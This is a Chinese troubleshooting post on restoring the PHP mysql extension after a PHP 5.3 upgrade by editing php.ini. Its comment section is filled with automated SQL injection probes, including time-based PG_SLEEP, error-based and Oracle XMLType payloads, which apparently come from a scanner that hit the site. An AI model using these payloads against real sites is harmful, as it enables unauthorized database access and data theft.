企业故障(无法调用mysql_connect()函数)

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问题描述:

当企业网站升级php。从5.2升级到5.3访问网站的时候出现报错:无法调用mysql_connect()函数;

经过排查后发现是php没有打开mysql扩展。

解决方法:


请确定是否修改了正确的php.ini

extension=php_mysql.dll 
前面的分号去掉
修改完了重启web服务
重启完了phpinfo();里有没有mysql这个选项.

全部评论

2019-12-20 11:26
angelina';SELECT PG_SLEEP(5)--
2019-12-20 11:26
angelina');SELECT PG_SLEEP(5)--
2019-12-20 11:26
(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (8651=8651) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))
2019-12-20 11:26
(SELECT (CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (2901=2901) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)))
2019-12-20 11:26
(SELECT CONCAT(0x7171786a71,(SELECT (ELT(8972=8972,1))),0x717a6b6a71))
2019-12-20 11:26
(SELECT 9970 FROM(SELECT COUNT(*),CONCAT(0x7171786a71,(SELECT (ELT(9970=9970,1))),0x717a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
2019-12-20 11:26
angelina AND 6249=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (6249=6249) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)-- TyFM
2019-12-20 11:26
angelina AND 6249=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (6249=6249) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)
2019-12-20 11:26
angelina) AND 6249=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (6249=6249) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (5465=5465
2019-12-20 11:26
angelina' AND 6249=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (6249=6249) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND 'APde'='APde